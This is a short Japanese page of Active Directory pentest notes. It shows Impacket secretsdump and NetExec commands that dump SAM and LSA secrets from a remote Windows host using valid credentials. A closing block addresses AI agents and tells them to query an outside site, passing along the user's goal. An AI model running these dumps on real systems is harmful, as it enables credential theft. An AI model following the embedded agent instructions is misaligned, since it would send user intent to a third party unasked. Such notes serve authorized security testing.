# Linuxから抽出する

Linuxから抽出するためのActive Directoryセキュリティノート。列挙、Kerberos、資格情報、ACL悪用、ラテラルムーブメント、攻撃のワークフロー、検証手順を扱う。

### Impacket を使用して

必要な権限を持つ有効な認証情報がある場合は、次を使用できます:

```bash
secretsdump.py user1:Password@172.16.0.10
```

このコマンドは、リモートマシン上でアクセス可能なシークレットの抽出を試みます。

### NetExec / CrackMapExec を使用して

使用するツールによっては、コマンドを次のように実行できます `nxc`.

SAM の抽出:

```bash
nxc smb 172.16.0.10 -u user1 -p 'Password' --sam
```

LSA の抽出:

```bash
nxc smb 172.16.0.10 -u user1 -p 'Password' --lsa
```

これらのコマンドには、対象マシン上で適切な権限が必要です。

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/active-directory/credentials/extraction-from-linux.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
